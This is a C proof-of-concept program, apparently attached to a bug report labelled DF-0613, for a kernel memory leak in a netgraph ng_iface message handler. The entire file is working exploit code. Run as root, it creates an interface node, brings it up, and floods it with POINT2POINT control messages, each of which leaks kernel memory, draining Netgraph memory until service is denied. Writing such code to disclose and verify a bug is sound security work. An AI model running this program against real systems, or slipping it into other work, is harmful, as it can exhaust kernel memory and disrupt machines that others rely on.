DF-0613 / leak_ng_iface.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 | /* * DF-0613 PoC โ ng_iface rcvmsg msg leak on EBUSY early return * * When NGM_IFACE_POINT2POINT (or NGM_IFACE_BROADCAST) is sent while the * interface is UP, ng_iface_rcvmsg() does `return (EBUSY)` at line 666, * bypassing the function epilogue that frees `msg` at line 732. * Each such call leaks sizeof(struct ng_mesg) + arglen bytes of M_NETGRAPH. * * This PoC: * 1. Opens an NG_CONTROL socket (root-only: caps_priv_check RESTRICTEDROOT) * 2. Creates an ng_iface peer node via NGM_MKPEER (hook "inet") * 3. Queries the interface name via NGM_IFACE_GET_IFNAME * 4. Brings the interface UP via SIOCSIFFLAGS * 5. Spams NGM_IFACE_POINT2POINT messages โ each leaks the request buffer * * Usage: ./leak_ng_iface [iterations] [arglen] * iterations default 2000 * arglen default 0 (extra leak bytes per call; sizeof(ng_mesg) ~= 56) * * Verify: vmstat -m | grep Netgraph โ memory climbs by ~iterations*(56+arglen) * * Must run as root (ngc_attach requires SYSCAP_RESTRICTEDROOT). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> #include <netgraph/iface/ng_iface.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define MKPEER_OURHOOK "leak" /* hook on our control-socket node */ #define MKPEER_PEERHOOK NG_IFACE_HOOK_INET static int ng_send_control(int s, const char *path, u_int32_t cookie, u_int32_t cmd, const void *arg, u_int16_t arglen) { struct { struct ng_mesg hdr; char data[4096]; } msg; struct sockaddr_ng dst; int pathlen; memset(&msg, 0, sizeof(msg)); msg.hdr.header.version = NG_VERSION; msg.hdr.header.typecookie = cookie; msg.hdr.header.cmd = cmd; msg.hdr.header.arglen = arglen; if (arglen > 0 && arglen <= sizeof(msg.data)) memcpy(msg.data, arg, arglen); pathlen = strlen(path); memset(&dst, 0, sizeof(dst)); dst.sg_family = AF_NETGRAPH; dst.sg_len = 2 + pathlen; if (dst.sg_len > sizeof(dst)) dst.sg_len = sizeof(dst); memcpy(dst.sg_data, path, pathlen); return sendto(s, &msg, sizeof(msg.hdr) + arglen, 0, (struct sockaddr *)&dst, dst.sg_len); } int main(int argc, char **argv) { int s, ifd, i, iter, arglen; struct ngm_mkpeer mkpeer; struct ng_iface_ifname ifname; struct ifreq ifr; ssize_t n; iter = (argc > 1) ? atoi(argv[1]) : 2000; arglen = (argc > 2) ? atoi(argv[2]) : 0; if (arglen < 0) arglen = 0; if (arglen > 4096) arglen = 4096; /* 1. Open NG_CONTROL socket (root-only) */ s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (s < 0) { perror("socket(PF_NETGRAPH, NG_CONTROL)"); fprintf(stderr, "Note: ngc_attach requires root (SYSCAP_RESTRICTEDROOT)\n"); return 1; } printf("[+] Opened NG_CONTROL socket fd=%d\n", s); /* 2. Create ng_iface peer node via NGM_MKPEER */ memset(&mkpeer, 0, sizeof(mkpeer)); strlcpy(mkpeer.type, NG_IFACE_NODE_TYPE, sizeof(mkpeer.type)); strlcpy(mkpeer.ourhook, MKPEER_OURHOOK, sizeof(mkpeer.ourhook)); strlcpy(mkpeer.peerhook, MKPEER_PEERHOOK, sizeof(mkpeer.peerhook)); n = ng_send_control(s, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mkpeer, sizeof(mkpeer)); if (n < 0) { perror("NGM_MKPEER iface"); close(s); return 1; } printf("[+] Created ng_iface peer node (hook %s -> %s)\n", MKPEER_OURHOOK, MKPEER_PEERHOOK); /* 3. Query interface name via NGM_IFACE_GET_IFNAME */ n = ng_send_control(s, MKPEER_OURHOOK, NGM_IFACE_COOKIE, NGM_IFACE_GET_IFNAME, NULL, 0); if (n < 0) { perror("NGM_IFACE_GET_IFNAME"); close(s); return 1; } /* Read the response from the socket โ it's a full ng_mesg struct */ { struct { struct ng_mesg hdr; char data[512]; } resp; n = recv(s, &resp, sizeof(resp), 0); if (n < (ssize_t)sizeof(struct ng_mesg)) { fprintf(stderr, "short response from GET_IFNAME: %zd bytes\n", n); close(s); return 1; } memcpy(&ifname, resp.data, sizeof(ifname)); } printf("[+] Interface name: %s\n", ifname.ngif_name); /* 4. Bring interface UP via SIOCSIFFLAGS */ ifd = socket(AF_INET, SOCK_DGRAM, 0); if (ifd < 0) { perror("socket(AF_INET)"); close(s); return 1; } memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname.ngif_name, sizeof(ifr.ifr_name)); if (ioctl(ifd, SIOCGIFFLAGS, &ifr) < 0) { perror("SIOCGIFFLAGS"); close(ifd); close(s); return 1; } ifr.ifr_flags |= IFF_UP; if (ioctl(ifd, SIOCSIFFLAGS, &ifr) < 0) { perror("SIOCSIFFLAGS (UP)"); close(ifd); close(s); return 1; } close(ifd); printf("[+] Brought %s UP\n", ifname.ngif_name); /* 5. Spam NGM_IFACE_POINT2POINT โ each call leaks the msg buffer */ printf("[*] Sending %d NGM_IFACE_POINT2POINT messages (arglen=%d)...\n", iter, arglen); printf("[*] Expected leak: ~%d bytes (%d * (%zu + %d))\n", iter * ((int)sizeof(struct ng_mesg) + arglen), iter, sizeof(struct ng_mesg), arglen); printf("[*] Check 'vmstat -m | grep Netgraph' before/after\n"); for (i = 0; i < iter; i++) { n = ng_send_control(s, MKPEER_OURHOOK, NGM_IFACE_COOKIE, NGM_IFACE_POINT2POINT, NULL, arglen); if (n < 0) { if (errno == EAGAIN || errno == ENOBUFS) continue; /* EBUSY is expected โ that's the leak path! */ if (errno != EBUSY) fprintf(stderr, "sendto failed at iter %d: %s (errno %d)\n", i, strerror(errno), errno); } if ((i + 1) % 500 == 0) printf(" ... %d/%d sent\n", i + 1, iter); } printf("[+] Done: sent %d messages\n", iter); printf("[+] Each message leaked ~%zu bytes (sizeof(ng_mesg) + arglen=%d)\n", sizeof(struct ng_mesg) + arglen, arglen); printf("[+] Total leaked: ~%d bytes\n", iter * ((int)sizeof(struct ng_mesg) + arglen)); printf("[*] Run 'vmstat -m | grep -i netgraph' to confirm M_NETGRAPH growth\n"); close(s); return 0; } |